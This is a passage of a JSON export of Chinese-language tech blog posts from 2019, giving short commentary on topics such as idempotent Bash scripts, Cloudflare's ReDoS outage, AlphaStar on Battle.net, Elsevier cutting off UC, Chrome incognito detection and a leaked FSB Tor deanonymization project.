location.</li>\r\n</ul></blockquote>\r\n\r\n這些公司與產品都應該要直接避開... 在有能力的情況下，在 public cloud 上自己架設還是會比較保險。",
    "title": "市場上有很多 VPN 都是由中國公司在後面營運"
  },
  {
    "id": "9108",
    "body": "看到「<a href=\"https://arslan.io/2019/07/03/how-to-write-idempotent-bash-scripts/\">How to write idempotent Bash scripts</a>」這篇，重點在講 <a href=\"https://en.wikipedia.org/wiki/Idempotence\">Idempotence</a>，這個詞是從數學上借來的，講重複操作的不動性：\r\n\r\n<blockquote>An element x of a magma (M, •) is said to be idempotent if:\r\n\r\nx • x = x.\r\n\r\nIf all elements are idempotent with respect to •, then • is called idempotent. The formula ∀x, x • x = x is called the idempotency law for •.</blockquote>\r\n\r\n在 CS 領域也是一樣的概念：\r\n\r\n<blockquote>Idempotence (UK: /ˌɪdɛmˈpoʊtəns/, US: /ˌaɪdəm-/) is the property of certain operations in mathematics and computer science whereby they can be applied multiple times without changing the result beyond the initial application.</blockquote>\r\n\r\n而這篇講的是 <a href=\"https://en.wikipedia.org/wiki/Bash_(Unix_shell)\">Bash</a> 上有些常見的行為要怎麼改成 Idempotence：\r\n\r\n<blockquote>It happens a lot, you write a bash script and half way it exits due an error. You fix the error in your system and run the script again. But half of the steps in your scripts fail immediately because they were already applied to your system. To build resilient systems you need to write software that is idempotent.</blockquote>\r\n\r\n一個常見的例子是 cron job 是否可以重複執行的問題。\r\n\r\n如果 cron job 裡的程式都是 idempotent，那麼就不需要擔心重跑會因為前一隻 script 產生的環境而失敗，導致無限循環而需要人介入...\r\n\r\n另外一個更進階的是同時有兩個 process 在執行同一個 script (可能在不同機器上)，這也是要考慮的問題，不過這個問題在大多數情況下有各種 lock 系統可以協助避免，應該不是太大的問題...",
    "title": "Idempotent Bash Script"
  },
  {
    "id": "9109",
    "body": "<a href=\"https://aws.amazon.com/elasticsearch-service/\">Amazon Elasticsearch Service</a> 提供 14 天免費的 hourly snapshot：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/07/amazon-elasticsearch-service-increases-data-protection-with-automated-hourly-snapshots-at-no-extra-charge/\">Amazon Elasticsearch Service increases data protection with automated hourly snapshots at no extra charge</a>」。\r\n\r\n<blockquote>Amazon Elasticsearch Service has increased its snapshot frequency from daily to hourly, providing more granular recovery points. If you need to restore your cluster, you now have numerous, recent snapshots to choose from. These automated snapshots are retained for 14 days at no extra charge.</blockquote>\r\n\r\n不過這是 5.3+ 版本才有，舊版只有 daily：\r\n\r\n<blockquote>\r\n<ul>\r\n\t<li>For domains running Elasticsearch 5.3 and later, Amazon ES takes hourly automated snapshots and retains up to 336 of them for 14 days.</li>\r\n\t<li>For domains running Elasticsearch 5.1 and earlier, Amazon ES takes daily automated snapshots (during the hour you specify) and retains up to 14 of them for 30 days.</li>\r\n</ul>\r\n\r\nIn both cases, the service stores the snapshots in a preconfigured Amazon S3 bucket at no additional charge. You can use these automated snapshots to restore domains.</blockquote>\r\n\r\n算是方便管理...",
    "title": "Amazon 的 Elasticsearch 服務提供十四天免費 hourly snapshot"
  },
  {
    "id": "9114",
    "body": "<a href=\"https://www.cna.com.tw/\">中央社</a>跟<a href=\"https://news.cts.com.tw/\">華視新聞網</a>都有 feed 可以訂閱 (參考「<a href=\"http://rss.cna.com.tw/rsscna/\">中央社 RSS資訊服務 訂閱</a>」與「<a href=\"https://news.cts.com.tw/plugin/\">華視新聞網 - RSS訂閱</a>」)，但都不是全文 (<a href=\"https://news.pts.org.tw/\">公視新聞網</a>的反而就直接提供全文了，不需要另外處理)，在 <a href=\"https://bazqux.com\">Bazqux</a> (一個 feed reader) 裡面讀起來頗麻煩的，想要把這些 feed 轉成有全文的 feed...\r\n\r\n這東西不算難寫 (最重要的部份用 Readability 當關鍵字，很多程式語言裡都有 library 可以用)，但總是想看看有沒有現成的服務可以直接用，就找到「<a href=\"https://www.freefullrss.com/\">Free Full RSS</a>」這個了，把本來的 feed 網址丟進去，出來的就是轉成全文的網址了...\r\n\r\n目前看起來還 ok，不知道穩定性如何，用一陣子再說...",
    "title": "把只有標題的 feed 轉成有全文的 feed"
  },
  {
    "id": "9115",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Fabrice_Bellard\">Fabrice Bellard</a> 跑去寫了一套 JavaScript engine 出來：「<a href=\"https://bellard.org/quickjs/\">QuickJS</a>」。\r\n\r\n以 ES2019 當底實做的 JS engine：\r\n\r\n<blockquote>Almost complete ES2019 support including modules, asynchronous generators and full Annex B support (legacy web compatibility).</blockquote>\r\n\r\n測試的部份也過了：\r\n\r\n<blockquote>Passes 100% of the ECMAScript Test Suite.</blockquote>\r\n\r\n在大小的部份，比起其他的 engine (與 package) 來說的確是小很多，不過 190KB 這個大小對於 embedded system 來說還是有點微妙 (但對於想要包 JS engine 進去用的人應該是頗開心的)：\r\n\r\n<blockquote>Small and easily embeddable: just a few C files, no external dependency, 190 KiB of x86 code for a simple hello world program.</blockquote>\r\n\r\n不愧是 Fabrice Bellard，搞出了 <a href=\"https://en.wikipedia.org/wiki/LZEXE\">LZEXE</a>、<a href=\"https://ffmpeg.org/\">FFmpeg</a> 跟 <a href=\"https://www.qemu.org/\">QEMU</a> 後跑來搞 JS...",
    "title": "Fabrice Bellard 的 QuickJS"
  },
  {
    "id": "9116",
    "body": "前幾天 <a href=\"https://www.blizzard.com/\">Blizzard</a> 公佈的消息，<a href=\"https://deepmind.com/\">DeepMind</a> 的星海爭霸二 AI (AlphaStar) 將會透過 Blizzard 的 <a href=\"https://battle.net/\">Battle.net</a> 歐洲區伺服器跟人類對戰：「<a href=\"https://starcraft2.com/en-us/news/22933138\">DeepMind Research on Ladder</a>」。\r\n\r\n<blockquote>Experimental versions of DeepMind’s StarCraft II agent, AlphaStar, will soon play a small number of games on the competitive ladder in Europe as part of ongoing research into AI.</blockquote>\r\n\r\n預設是不會對到的，需要選擇參與：\r\n\r\n<blockquote>If you would like the chance to help DeepMind with its research by matching against AlphaStar, you can opt in by clicking the “opt-in” button on the in-game popup window. You can alter your opt-in selection at any time by using the “DeepMind opt-in” button on the 1v1 Versus menu.</blockquote>\r\n\r\n但你仍然不會知道對手是人還是 AI，而且如同一般對戰情況，這會影響到你的戰績：\r\n\r\n<blockquote>For scientific test purposes, DeepMind will be benchmarking AlphaStar’s performance by playing anonymously during a series of blind trial matches. This means the StarCraft community will not know which matches AlphaStar is playing, to help ensure that all games are played under the same conditions. AlphaStar plays with built-in restrictions that the DeepMind team has defined in consultation with pro players. A win or a loss against AlphaStar will affect your MMR as normal.</blockquote>\r\n\r\nokay，這樣大概知道為什麼只開放歐洲區了...\r\n\r\n加州從今年七月開始，禁止 AI 偽裝成人類 (前幾天也有一些新聞在報導)：「<a href=\"https://qz.com/1409350/a-new-law-means-californias-bots-have-to-disclose-theyre-not-human/\">A California law now means chatbots have to disclose they’re not human</a>」，對應的法條在「<a href=\"https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=201720180SB1001\">Bill Text  - SB-1001 Bots: disclosure</a>」這邊可以看到：\r\n\r\n<blockquote>17941. (a) It shall be unlawful for any person to use a bot to communicate or interact with another person in California online, with the intent to mislead the other person about its artificial identity for the purpose of knowingly deceiving the person about the content of the communication in order to incentivize a purchase or sale of goods or services in a commercial transaction or to influence a vote in an election. A person using a bot shall not be liable under this section if the person discloses that it is a bot.\r\n\r\n(b) The disclosure required by this section shall be clear, conspicuous, and reasonably designed to inform persons with whom the bot communicates or interacts that it is a bot.</blockquote>\r\n\r\n而加州是 Blizzard Entertainment 的總部...\r\n\r\n法條上面對「online platform」有設計排除條款，不過如果只算星海二的人數，有可能不到這個豁免限制... 所以得避開而改用歐洲區來測試？\r\n\r\n<blockquote>(c) “Online platform” means any public-facing Internet Web site, Web application, or digital application, including a social network or publication, that has 10,000,000 or more unique monthly United States visitors or users for a majority of months during the preceding 12 months.</blockquote>\r\n\r\n<blockquote>(c) This chapter does not impose a duty on service providers of online platforms, including, but not limited to, Web hosting and Internet service providers.</blockquote>\r\n\r\n美國軍方應該是超級關注這個議題，相較於 AlphaGo 或是 AlphaZero 是資訊完全透明的遊戲，這次要踏入非對稱資訊的遊戲。\r\n\r\n如果在這個領域上有成果的話，可以預期未來的戰爭 (yeah 實體戰爭) 會開始大量採用 AI 了...",
    "title": "AI 版的星海爭霸二將直接透過歐洲區的 Battle.net 匿名與人類對戰"
  },
  {
    "id": "9117",
    "body": "好像是在 <a href=\"https://twitter.com/\">Twitter</a> 上看到的，但一時間找不到是誰推的...\r\n\r\n美國在 2010 年簽署的「<a href=\"https://en.wikipedia.org/wiki/Plain_Writing_Act_of_2010\">Plain Writing Act of 2010</a>」要求各種政府文件都必須用簡單的文字書寫，甚至還弄一個官方網站「<a href=\"https://www.plainlanguage.gov/\">Home | plainlanguage.gov</a>」列出說明...\r\n\r\n在網站裡面的「<a href=\"https://www.plainlanguage.gov/guidelines/words/use-simple-words-phrases/\">Use simple words and phrases</a>」給了一個蠻長對應表，可以將一些艱澀的法律慣用詞彙換成平常常用的詞彙...\r\n\r\n維基百科給的 Before &amp; After 範例還蠻不錯的，在比較極端的情況下，讀起來的確輕鬆很多：\r\n\r\n<blockquote>(Before) The amount of expenses reimbursed to a claimant under this subpart shall be reduced by any amount that the claimant receives from a collateral source. In cases in which a claimant receives reimbursement under this subpart for expenses that also will or may be reimbursed from another source, the claimant shall subrogate the United States to the claim for payment from the collateral source up to the amount for which the claimant was reimbursed under this subpart.</blockquote>\r\n\r\n<blockquote>(After) If you get a payment from a collateral source, we will reduce our payment by the amount you get. If you get payments from us and from a collateral source for the same expenses, you must pay us back the amount we paid you.</blockquote>",
    "title": "美國政府對於書面文字的要求"
  },
  {
    "id": "9118",
    "body": "先前 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 就有先說明七月二日的 outage 是因為 regular expression 造成的 (<a href=\"https://en.wikipedia.org/wiki/ReDoS\">ReDoS</a>)，不過昨天發的文章更完整了，導致爆炸的 regular expression 都給出來了：「<a href=\"https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/\">Details of the Cloudflare outage on July 2, 2019</a>」。\r\n\r\nReDoS 不算是新的問題，但卻是不太好避免的問題，因為需要有經驗的工程師 (中過獎的工程師) 才比較容易知道哪些 regular expression 是有問題的... 另外就是有花時間研究 regular expression 演算法的工程師也比較容易避開。\r\n\r\n也因次，ReDoS 算是這十年來大家在還的債，各家 framework 都因為這個問題改寫了不少 regular expression。\r\n\r\n這次的重點在這串式子導致了 ReDoS：\r\n\r\n<pre>(?:(?:\\\"|'|\\]|\\}|\\\\|\\d|(?:nan|infinity|true|false|null|undefined|symbol|math)|\\`|\\-|\\+)+[)]*;?((?:\\s|-|~|!|{}|\\|\\||\\+)*.*(?:.*=.*)))</pre>\r\n\r\n通常容易中獎的地方就是無限制字元與 <code>*</code> &amp; <code>+</code> 連發的地方，後面這塊 <code>)*.*(?:.*=.*)))</code> 看起來就不太妙，果然在後面的分析也有提到：\r\n\r\n<blockquote>The critical part is <code>.*(?:.*=.*)</code>.</blockquote>\r\n\r\n以前應該是在 <a href=\"https://en.wikipedia.org/wiki/Formal_language\">Formal language</a> 裡學到的，在課堂裡面其實會學到不少業界常用工具的基礎理論...",
    "title": "Cloudflare 因為 Regular Expression 炸掉的問題"
  },
  {
    "id": "9119",
    "body": "三月的時候加州大學系統 (UC) 因為 <a href=\"https://www.elsevier.com/\">Elsevier</a> 不接受 open access 的條件而公開宣佈不續約 (參考「<a href=\"https://blog.gslin.org/archives/2019/03/04/8775/%E5%8A%A0%E5%B7%9E%E5%A4%A7%E5%AD%B8%E5%AE%A3%E4%BD%88%E4%B8%8D%E8%88%87-elsevier-%E7%BA%8C%E7%B4%84/\">加州大學宣佈不與 Elsevier 續約</a>」)，後來 Elsevier 應該是試著看看有沒有機會繼續合作，所以在這段期間還是一直提供服務給加州大學系統。\r\n\r\n前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=20427520\">Elsevier cuts off UC’s access to its academic journals (latimes.com)</a>」，總算是確定要動手了：「<a href=\"https://www.latimes.com/business/hiltzik/la-fi-uc-elsevier-20190711-story.html\">In act of brinkmanship, a big publisher cuts off UC’s access to its academic journals</a>」。\r\n\r\n不過也不是直接拔掉，而是限制存取權，看不到新東西 (以 2019/01/01 為界)：\r\n\r\n<blockquote>As of Wednesday, Elsevier cut off access by UC faculty, staff and students to articles published since Jan. 1 in 2,500 Elsevier journals, including respected medical publications such as Cell and the Lancet and a host of engineering and scientific journals. Access to most material published in 2018 and earlier remains in force.</blockquote>\r\n\r\nUC 提出的商業模式是讓投稿者負擔費用，而存取者不需要負擔，與現有的商業模式剛好相反。UC 提出的模式鼓勵「知識的散佈」，而現有的商業模式則是反過來，希望透過知識的散佈而賺～大～錢～發～大～財～：\r\n\r\n<blockquote>UC demanded that the new contract reflect the principle of open access — that work produced on its campuses be available to all outside readers, for free.\r\n\r\nThat was a direct challenge to the business model of Elsevier and other big academic publishers. Traditionally, the publishers accept papers for publication for free but charge steep subscription fees. UC is determined to operate under an alternative model, in which researchers pay to have their papers published but not for subscriptions.</blockquote>\r\n\r\n另外在 Hacker News 上的 comment 裡看到一些專案也正在進行，像是歐洲的「<a href=\"https://en.wikipedia.org/wiki/Plan_S\">Plan S</a>」也是在推動 open access：\r\n\r\n<blockquote>The plan requires scientists and researchers who benefit from state-funded research organisations and institutions to publish their work in open repositories or in journals that are available to all by 2021.</blockquote>\r\n\r\n另外「<a href=\"https://www.pubpub.org/\">PubPub · Community Publishing</a>」也是 open source 領域裡蠻有趣的計畫，後面看起來也有不少學術單位在支持。",
    "title": "Elsevier 限制加州大學的存取權限"
  },
  {
    "id": "9121",
    "body": "<a href=\"https://www.nytimes.com/\">紐約時報</a>的 <a href=\"https://www.nytimes.com/series/new-york-times-privacy-project\">The Privacy Project</a> 分析了 <a href=\"https://www.google.com/\">Google</a> 在這二十年來的 <a href=\"https://policies.google.com/privacy/archive?hl=en-US\">Privacy Policy</a> (英文版)，可以看出網路廣告產業的變化，以及為什麼變得極力蒐集個資與使用者行為：「<a href=\"https://www.nytimes.com/interactive/2019/07/10/opinion/google-privacy-policy.html\">Google’s 4,000-Word Privacy Policy Is a Secret History of the Internet</a>」。整篇看起來有點長，可以先看裡面的小標題，然後看一下列出來的條文差異，把不同時間的重點都列出來了。\r\n\r\n最早期的轉變是「針對性」：\r\n\r\n<blockquote>1999-2004\r\nNo longer talks about users ‘in aggregate’</blockquote>\r\n\r\n1999 年的版本強調了整體性，後來因為針對性廣告而被拿掉：\r\n\r\n<blockquote>1999\r\nGoogle may share information about users with advertisers, business partners, sponsors, and other third parties. However, <strong>we only talk about our users in aggregate, not as individuals.</strong> For example, we may disclose how frequently the average Google user visits Google, or which other query words are most often used with the query word \"Microsoft.\"</blockquote>\r\n\r\n接下來的是蒐集的項目大幅增加，讓分析更準確：\r\n\r\n<blockquote>2005-2011\r\nGoogle shares more data for better targeting</blockquote>\r\n\r\n然後是更多產品線互相使用使用者行為資訊：\r\n\r\n<blockquote>2012-2017\r\nIts complicated business requires a more complicated policy</blockquote>\r\n\r\n接下來是因為法規而配合修改條文 (最有名的就是 <a href=\"https://en.wikipedia.org/wiki/General_Data_Protection_Regulation\">GDPR</a>)：\r\n\r\n<blockquote>2018-PRESENT\r\nPolicy adjusts to meet stricter regulation</blockquote>",
    "title": "紐約時報的 The Privacy Project 分析了這二十年來 Google 的隱私條款"
  },
  {
    "id": "9122",
    "body": "在「<a href=\"https://thoughtbot.com/blog/profiling-vim\">Profiling Vim</a>」這邊看到 <a href=\"https://www.vim.org/\">Vim</a> 上常見的效能問題，很多時候會覺得「慢」但不知道慢在哪邊的問題...\r\n\r\n文章作者已經知道是開 <a href=\"https://en.wikipedia.org/wiki/Markdown\">Markdown</a> 檔案時的問題，所以可以在開啟 Vim 後用下指令啟動 profiling，但如果是想要追蹤一開起來很慢的問題，可以看「<a href=\"https://blog.crboy.net/2012/05/profiling-vim-startup.html\">對 Vim 啟動過程做效能分析</a>」這篇的方式，直接在啟動時加上 <code>--startuptime vim.log</code> 這樣的語法，把 log 寫到 <code>vim.log</code> 裡面。",
    "title": "Vim 的 Performance Profiling"
  },
  {
    "id": "9124",
    "body": "新版 50 英鎊的紙鈔將使用 <a href=\"https://en.wikipedia.org/wiki/Alan_Turing\">Alan Turing</a> 的頭像設計：「<a href=\"https://www.bbc.com/news/business-48962557\">New face of the Bank of England's £50 note is revealed as Alan Turing</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Om8vzI1.webp\" /><img src=\"https://i.gslin.com/imgur/Om8vzI1.jpg\" alt=\"\" /></picture>\r\n\r\n不知道要怎麼介紹 Alan Turing... 對於現代計算理論的貢獻、對於二戰盟軍的貢獻，以及對於人工智慧的貢獻都無與倫比，另外一方面，在 1952 年時因同性戀身份被定罪，1954 年時食用氰化物自殺過世，然後到了 2013 年議會爭論赦免的過程中，英國女皇決定直接行使赦免權。現在則是決定以他的頭像作為五十英鎊的人物。\r\n\r\n既然靠這個圈子吃飯的，應該會蒐藏一張起來吧，紀念這位英雄...",
    "title": "英國新的紙鈔將會使用 Alan Turing 頭像"
  },
  {
    "id": "9129",
    "body": "<a href=\"https://github.com/rakshasa/rtorrent\">RTorrent</a> 算是我在 command line 下很喜歡用的 bittorrent client，前幾天釋出 0.9.8 版，距離上一個版本 0.9.7 一年多了：「<a href=\"https://github.com/rakshasa/rtorrent/releases/tag/v0.9.8\">RTorrent release version 0.9.8</a>」。\r\n\r\n從 changelog 可以看到目前主要都還是一些維護性質的修改，像是 bugfix 以及對新的 library 的更新，功能增加的不多...\r\n\r\n另外一個是最近提供了 donate 的管道：「<a href=\"https://rakshasa.github.io/rtorrent/donate.html\">Donate to rTorrent development</a>」。在 2017 年的時候有寫信問他有沒有 <a href=\"https://www.patreon.com/\">Patreon</a>，他當時說他人在日本沒辦法處理，看起來後來解決了...",
    "title": "RTorrent 0.9.8"
  },
  {
    "id": "9130",
    "body": "<a href=\"https://slack.com/\">Slack</a> 桌面版改版的消息，在「<a href=\"https://www.theverge.com/2019/7/22/20703458/slack-desktop-app-performance-improvements-windows-mac-features-download\">Slack’s new desktop app loads 33 percent faster and uses less RAM</a>」與「<a href=\"https://techcrunch.com/2019/07/22/slack-speeds-up-its-web-and-desktop-client/\">Slack speeds up its web and desktop client</a>」這邊都有提到這兩個數字，不過看了官方的「<a href=\"https://slack.engineering/rebuilding-slack-on-the-desktop-308d6fe94ae4\">When a rewrite isn’t: rebuilding Slack on the desktop</a>」這篇，好像沒提到這兩個數字... 但看引用的圖片似乎是官方的評估數字，不知道是從哪邊得到的。\r\n\r\n這是一個堅持繼續使用 <a href=\"https://electronjs.org/\">Electron</a> 的前提下改善效能的過程。如果過個幾年他們決定寫 native application 也不意外就是了，要一直壓榨效能，最後大概都會走到這邊... 當然也有可能靠 <a href=\"https://www.google.com/\">Google</a> 一直改善 V8 engine 的效能撐很久 (畢竟 Google 是真狂砸人改善)，現在大家都在賭可以改善多少 XD\r\n\r\n這一波最主要的記憶體用量改善是來自於現在使用的 workspace 當然要有完整資料，而其他 workspace 的頁面就只保留狀態 (透過 <a href=\"https://redux.js.org/\">Redux</a>)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NtnFMgs.webp\" /><img src=\"https://i.gslin.com/imgur/NtnFMgs.jpg\" alt=\"\" /> <picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GDAdpfT.webp\" /><img src=\"https://i.gslin.com/imgur/GDAdpfT.jpg\" alt=\"\" /></picture></picture>\r\n\r\n從記憶體用量可以看出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6eVkq1v.webp\" /><img src=\"https://i.gslin.com/imgur/6eVkq1v.jpg\" alt=\"\" /></picture>\r\n\r\n也可以理解因為這樣就不需要在啟動時馬上處理所有 workspace 的資料，所以啟動時間也就下降了不少，但這邊的 trade-off 是切換時的速度就會變慢 (需要重新 render)，不過大概是考慮到常見情境下的切換次數而決定這樣做，應該還算 ok...",
    "title": "Slack 改善桌面應用程式的效能與記憶體用量"
  },
  {
    "id": "9131",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 提供了一個對 <a href=\"https://facebook.github.io/react-native/\">React Native</a> 最佳化的 JS engine：「<a href=\"https://code.fb.com/android/hermes/\">Hermes: An open source JavaScript engine optimized for mobile apps, starting with React Native</a>」。\r\n\r\n裡面有提到兩個比較重要的的部份是 No JIT 與 Garbage collector strategy，針對行動裝置的特性而設計：避免 JIT 產生的 overhead，以及降低記憶體使用量。\r\n\r\n官方給的改善主要也都是偏這兩塊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/17BolQ4.webp\" /><img src=\"https://i.gslin.com/imgur/17BolQ4.jpg\" alt=\"\" /></picture>\r\n\r\n不過沒有提到 CPU usage 會上升多少，只是帶過去：\r\n\r\n<blockquote>Notably, our primary metrics are relatively insensitive to the engine’s CPU usage when executing JavaScript code.</blockquote>\r\n\r\n對於 Facebook 也許是可以接受的數量，但對於其他人就沒概念了... 要入坑的人自己衡量這部份的風險 XD",
    "title": "Facebook 推出了 Hermes，為了 React Native 而生的 JS Engine"
  },
  {
    "id": "9132",
    "body": "<a href=\"https://www.dropbox.com/\">Dropbox</a> 去年的時候拔掉非 <a href=\"https://en.wikipedia.org/wiki/Ext4\">ext4</a> 檔案系統的支援，被罵翻也不鳥 (參考「<a href=\"https://blog.gslin.org/archives/2018/08/13/8441/linux-%e7%89%88%e7%9a%84-dropbox-%e5%9c%a8%e5%8d%81%e4%b8%80%e6%9c%88%e5%be%8c%e5%b0%87%e5%8f%aa%e6%94%af%e6%8f%b4-ext4/\">Linux 版的 Dropbox 在十一月後將只支援 ext4...</a>」)，結果現在又回來支援了：「<a href=\"https://www.linuxuprising.com/2019/07/dropbox-brings-back-support-for-zfs-xfs.html\">Dropbox Brings Back Support For ZFS, XFS, Btrfs And eCryptFS On Linux</a>」。\r\n\r\n出自 beta 版的說明「<a href=\"https://www.dropboxforum.com/t5/Desktop-client-builds/Beta-Build-77-3-127/td-p/354660\">Beta Build 77.3.127</a>」這邊：\r\n\r\n<blockquote>Add support for zfs (on 64-bit systems only), eCryptFS, xfs (on 64-bit systems only), and btrfs filesystems in Linux.</blockquote>\r\n\r\n不過我不是因為這個而搬走 (因為我用 ext4)，反而是在對免費版限制時跳走：「<a href=\"https://blog.gslin.org/archives/2019/03/15/8825/dropbox-%E5%85%8D%E8%B2%BB%E7%89%88%E9%99%90%E5%88%B6%E4%B8%89%E5%80%8B%E8%A3%9D%E7%BD%AE%E6%9B%B4%E6%96%B0/\">Dropbox 免費版限制三個裝置更新...</a>」。\r\n\r\n當初用 <code>X-attrs</code> 當理由，看起來是有人離職了所以就加回來...",
    "title": "Dropbox 的 non-ext4 支援回鍋"
  },
  {
    "id": "9133",
    "body": "<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 74 版修掉了一般模式與私密瀏覽模式下 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/FileSystem\">FileSystem API</a> 明顯的不同處後，自然就會有人研究其他的偵測方式：「<a href=\"https://mishravikas.com/articles/2019-07/bypassing-anti-incognito-detection-google-chrome.html\">Bypassing anti-incognito detection in Google Chrome</a>」。\r\n\r\n作者提出來的方式是透過 <a href=\"https://www.w3.org/TR/quota-api/\">Quota Management API</a>，一般模式與私密瀏覽模式下會得到不同的值，尤其是硬碟夠大的時候上限是不一樣的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6OO3IFT.webp\" /><img src=\"https://i.gslin.com/imgur/6OO3IFT.jpg\" alt=\"\" /></picture>\r\n\r\n不過這個看起來應該比較好修？",
    "title": "在 Chrome 的 FileSystem API 的漏洞被補上後，偵測私密瀏覽模式的方式"
  },
  {
    "id": "9135",
    "body": "看到拿 git log 分析知名開發者的活動時間：「<a href=\"https://ivan.bessarabov.com/blog/famous-programmers-work-time\">At what time of day do famous programmers work?</a>」。\r\n\r\n從列出來的人可以看出 <a href=\"https://en.wikipedia.org/wiki/Chris_Lattner\">Chris Lattner</a> (<a href=\"https://llvm.org/\">LLVM</a> 與 <a href=\"https://developer.apple.com/swift/\">Swift</a>) 是個夜貓子，其他人大多都是正常的作息... 也看得出來有些人堅持睡覺時間不碰這些東西 XD",
    "title": "拿 Git 記錄分析知名開發者的活動時間..."
  },
  {
    "id": "9136",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://puffer.stanford.edu/\">Puffer</a>」這個服務，裡面利用了 machine learning algorithm 動態調整 bitrate，以提昇傳輸品質。\r\n\r\n測試得到的數據後來被整理起來一起放進論文：「<a href=\"https://puffer.stanford.edu/static/puffer/documents/puffer-arxiv.pdf\">Continual learning improves Internet video streaming</a>」。\r\n\r\n在開頭介紹了 Fugu 這個演算法：\r\n\r\n<blockquote>We describe Fugu, a continual learning algorithm for bitrate selection in streaming video.</blockquote>\r\n\r\n而 Puffer 就是實驗網站：\r\n\r\n<blockquote>We evaluate Fugu with Puffer, a public website we built that streams live TV using Fugu and existing algorithms. Over a nine-day period in January 2019, Puffer streamed 8,131 hours of video to 3,719 unique users.</blockquote>\r\n\r\n這個站台提供了許多真實的頻道進行測試：\r\n\r\n<blockquote>Stream live TV in your browser. There's no charge. You can watch U.S. TV stations affiliated with the NBC, CBS, ABC, PBS, FOX, and Univision networks.</blockquote>\r\n\r\n可以看到 Fugu 的結果很好，比起其他提出的方案是全面性的改善：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xEL8UDm.webp\" /><img src=\"https://i.gslin.com/imgur/xEL8UDm.jpg\" alt=\"\" /></picture>\r\n\r\n這邊是用 WebSocket 測試，並且配合了不同的 TCP congestion algorithm，沒有太考慮額外的計算成本...",
    "title": "用 Machine Learning 改善 Streaming 品質的服務與論文"
  },
  {
    "id": "9137",
    "body": "是收到信件通知 (因為之前有開發一些 extension)，裡面提到的重點主要是出自「<a href=\"https://developer.chrome.com/webstore/program_policies\">Developer Program Policies</a>」裡的兩項。\r\n\r\n第一項是要求權限最小化：\r\n\r\n<blockquote>Request access to the narrowest permissions necessary to implement your Product’s features or services. If more than one permission could be used to implement a feature, you must request those with the least access to data or functionality.</blockquote>\r\n\r\n第二個是你現在沒有實做的功能就不能要權限：\r\n\r\n<blockquote>Don't attempt to \"future proof\" your Product by requesting a permission that might benefit services or features that have not yet been implemented.</blockquote>\r\n\r\n這些新條文將會在 2019/10/15 生效：\r\n\r\n<blockquote>Your extensions must be compliant with this policy by October 15th, 2019. You can learn more about these changes and how they may apply to you in our User Data FAQ.</blockquote>",
    "title": "Google 公告了 Chrome Extension 對於權限的新規範"
  },
  {
    "id": "9138",
    "body": "VPN 的 Split-tunnel 指的是 partial routing，也就只針對部份 IP range 走進 VPN，其餘大多數的流量還是走原來的 Internet。\r\n\r\n這個方式的安全性通常會比 full routing 低一些，因為這個方式會使得 internet 流量有機會穿進 VPN 內 (像是透過瀏覽器)，但因為這可以讓使用者避免越洋的 VPN 導致速度下降過多，算是 VPN 常用的功能。\r\n\r\n這次 <a href=\"https://aws.amazon.com/vpn/\">AWS Client VPN</a> 實做了這個功能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/07/aws-client-vpn-now-adds-support-for-split-tunnel/\">AWS Client VPN now adds support for Split-tunnel</a>」。\r\n\r\n不過 AWS Client VPN 相較於自己架設貴不少，目前知道的單位大多也都還是自己架...",
    "title": "AWS Client VPN 支援 Split-tunnel"
  },
  {
    "id": "9139",
    "body": "俄羅斯政府的外包廠商 <a href=\"https://www.sytech.com/\">SyTech</a> 被摸進去後，被發現裡面有些「有趣」的軟體：「<a href=\"https://www.zdnet.com/article/hackers-breach-fsb-contractor-expose-tor-deanonymization-project/\">Hackers breach FSB contractor, expose Tor deanonymization project and more</a>」。\r\n\r\n這次被放在標題的軟體叫做 Nautilus-S，透過被加過料的 Tor server 與 ISP traffic 交叉分析，試著找出俄羅斯內的 Tor 使用者：\r\n\r\n<blockquote>Nautilus-S - a project for deanonymizing Tor traffic with the help of rogue Tor servers.</blockquote>\r\n\r\n這不是新東西，之前就有被提出來，但並沒有這次直接給整包軟體出來：\r\n\r\n<blockquote>The first was Nautilus-S, the one for deanonymizing Tor traffic. BBC Russia pointed out that work on Nautilus-S started in 2012. Two years later, in 2014, academics from Karlstad University in Sweden, published a paper detailing the use of hostile Tor exit nodes that were attempting to decrypt Tor traffic.</blockquote>\r\n\r\n而且看起來有不少節點正在運行：\r\n\r\n<blockquote>Researchers identified 25 malicious servers, 18 of which were located in Russia, and running Tor version 0.2.2.37, the same one detailed in the leaked files.</blockquote>\r\n\r\n不知道 Tor 會不會有行動...",
    "title": "摸進俄羅斯的外包廠商，意外發現的專案：降低 Tor 匿名性的工具"
  },
  {
    "id": "9141",
